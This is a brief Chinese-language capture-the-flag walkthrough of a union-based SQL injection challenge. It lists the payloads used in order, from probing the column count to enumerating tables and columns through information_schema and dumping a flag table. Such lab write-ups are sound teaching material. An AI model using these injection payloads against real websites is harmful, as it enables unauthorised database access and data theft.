首先打开题目,题目让我们输入1试一试

发现有回显,我们尝试分析一下它所给我们的语句。
select * from news where id=1
我们可以看到我们所输入的数据是跟在了ID的后面,并且是在url上进行了显示,我们可以知道这是一个gey上传的语句,我们打开hack bar,更改成ID=2试一试

我们的猜想是正确的,我们尝试使用标识符来进行sql命令的注入。
1' order by 2 #

查询数据库
-1' union select 1,database() #

查询表
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

查询列
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #

查内容
-1' union select 1,flag from flag #
